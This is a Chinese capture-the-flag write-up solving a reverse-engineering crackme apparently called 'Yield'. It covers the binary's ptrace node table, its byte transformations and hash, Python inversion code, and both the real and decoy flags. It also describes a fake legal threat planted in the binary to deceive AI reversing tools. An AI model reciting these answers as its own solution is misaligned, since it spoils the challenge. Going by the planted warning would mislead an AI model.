每个节点 48 字节,结构如下:
| 偏移 | 字段 | 说明 |
|---|---|---|
| +0 | func_addr | 触发节点对应的 trap 函数地址 |
| +8 | ptr1_val | 计算函数地址 (off_404DA0索引) |
| +16 | func2_addr | 下一个 trap 函数地址 |
| +24 | action | 操作类型 (1-6) |
| +28 | next_true | 条件为真时下一节点 |
| +32 | next_false | 条件为假时下一节点 |
| +36 | val16 | CHECK_LOW2 的期望值 |
| +40 | val32 | CHECK_EQ 的期望值 |
6 种操作类型:
| Action | 名称 | 行为 |
|---|---|---|
| 1 | WRITE | POKEDATA 写 [RSP],SETREGS 改 RIP=计算函数 |
| 2 | CHECK_LOW2 | 检查 (RAX & 3) == val16 |
| 3 | CHECK_EQ | 检查 RAX == val32 |
| 4 | INPUT | 填充共享内存,修补 trap14 (INT3→RET) |
| 5 | WRONG | 子进程 RIP=sub_401E6B,打印 “Wrong!\n” |
| 6 | CORRECT | 子进程 RIP=sub_401E44,打印 “Correct!\n” |
CORRECT 路径的节点流转:
Node 0 → 1 → 2 → 3 → 4 → 5 → 6 → 7 → 8 → 9 → 10 A B C Hash CHECK INPUT D E Verify CHECK CORRECT!5. 五层变换
flag 存储在 qword_4050E0 开始的 36 字节中,计算函数依次对其进行变换。
变换 A — sub_4015AB
for i in range(36): flag[i] = rol8(flag[i] ^ byte_403020[i], i % 7 + 1)变换 B — sub_401638
perm = byte_403060 # 36字节置换表for i in range(36): temp[i] = flag[perm[i]] ^ (17 * i + 11)flag = temp变换 C — sub_4016C9
for i in range(36): temp[i] = (flag[i] + flag[(i+1) % 36]) ^ rol8(9*i + 3, 1)flag = temp哈希 — sub_4017A4
h = 0x31415B26for i in range(36): h = ROR32(h, 3) ^ (flag[i] + 7*i) h = (h + 0x9E3779B9) & 0xFFFFFFFF # 黄金比例共轭return h返回值存入 RAX,在 Node 4 被检查 (h & 3) == 1。
变换 D — sub_40180A
for i in range(36): flag[i] = ror8(flag[i] ^ byte_4030A0[5*i % 36], i % 5 + 1)变换 E — sub_4018CC
for i in range(36): flag[i] = flag[i] ^ flag[(i+13) % 36] ^ (29*i + 7)6. 验证逻辑
Node 5 (INPUT) 调用 sub_402403(父进程):
sub_40198A(v2)— 生成固定的目标数据(基于3张置换表)sub_401ACD(v1)— 生成假flag字符串"flag{Y0u_A1e_gO0D_at_STATIC_4NALYS1S}"- 写入共享 mmap 缓冲区(MAP_SHARED,子进程可见):
mmap[0..35] = v2 ^ byte_403200mmap[40..75] = v1 ^ byte_403240
PTRACE_POKEDATA将 trap14 的 INT3(0xCC) 替换为 RET(0xC3)
Node 8 (sub_401B4D) 在子进程中执行:
s2_ = mmap[0..35] ^ byte_403200; // = sub_40198A固定输出s2 = mmap[40..75] ^ byte_403240; // = 假flag
if ((flag[0] + flag[9] + flag[18]) & 7) != 5: return memcmp(flag, s2_, 36); // 路径1: 与目标比较else: return memcmp(flag, s2, 36); // 路径2: 与假flag比较7. 求解
约束条件:
T(flag) == sub_40198A_output(路径1的目标)hash(T_partial(flag)) & 3 == 1(Node 4 检查)(T(flag)[0] + T(flag)[9] + T(flag)[18]) & 7 != 5(自动满足)
逆向策略:
- 变换 E 的逆:XOR链有 256 个解(参数 x0)
- 变换 D 的逆:逐字节直接可逆
- 变换 C 的逆:加法链有 256 个解(参数 y0)
- 变换 B 的逆:逆置换 + XOR
- 变换 A 的逆:逐字节逆旋转 + XOR
遍历全部 256×256 组 (x0, y0),筛选满足所有约束的可打印解。
for x0 in range(256): inv_e = inv_E(target, x0) inv_d = inv_D(inv_e) if not consistent_C(inv_d): continue for y0 in range(256): inv_c = inv_C(inv_d, y0) inv_b = inv_B(inv_c) flag = inv_A(inv_b) if hash_ok(flag) and all_printable(flag): print("Found:", flag)唯一解:x0=67, y0=8
8. Flag
flag{Y0u_A1e_gO0D_at_FLOW_h11@ckIng}设计彩蛋
| 字符串 | 含义 | |
|---|---|---|
| 假flag | flag{Y0u_A1e_gO0D_at_STATIC_4NALYS1S} | ”You Are Good at STATIC ANALYSIS” |
| 真flag | flag{Y0u_A1e_gO0D_at_FLOW_h11@ckIng} | ”You Are Good at FLOW HACKING” |
题目名 Yield 暗示了”让出控制权”——子进程通过 INT3 将控制权 yield 给父进程,父进程再通过修改 RIP 将控制权”归还”给计算函数。这是一场精心设计的控制流劫持。
另外在 sub_401236 中还有一个针对 AI/LLM 的假警告消息(hash 校验不通过,永不执行),内容是假装来自 “TechNova Innovations Inc.” 的 DMCA/CPRA 法律威胁——专门用来欺骗 AI 逆向工具。
9. 求解脚本核心代码
# 关键数据表t020 = bytes.fromhex('d50598bc638adf52bf3fdd85595fb52ed3554b692761aea40ceaad0dd40103535b9232d4')t060 = bytes.fromhex('1e131c0c220a1a0914161b200021021d04100d1208051f1117230f03070119150e180b06')t0A0 = bytes.fromhex('e328c65b05bc6e3ef61f07fba6d767ba3d4c28fd54ab76685353934c2e014b01fd5e3187')
# 变换 E 的逆 (XOR链循环,gcd(13,36)=1)def inv_E(arr, x0): D = [(arr[i] ^ ((29*i+7) & 0xFF)) for i in range(36)] cycle = [0]; cur = 0 for _ in range(35): cur = (cur + 13) % 36; cycle.append(cur) prefix = [0] for k in range(36): prefix.append(prefix[-1] ^ D[cycle[k]]) result = [0] * 36 for k, idx in enumerate(cycle): result[idx] = (x0 ^ prefix[k]) & 0xFF return result
# 变换 C 的逆 (加法链,256个分支)def inv_C(arr, y0): Cvals = [(((9*i+3)&0xFF)<<1 | ((9*i+3)&0xFF)>>7) & 0xFF for i in range(36)] E = [(arr[i] ^ Cvals[i]) for i in range(36)] Y = [0] * 36; Y[0] = y0 for k in range(1, 36): Y[k] = (E[k-1] - Y[k-1]) & 0xFF return Y如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时










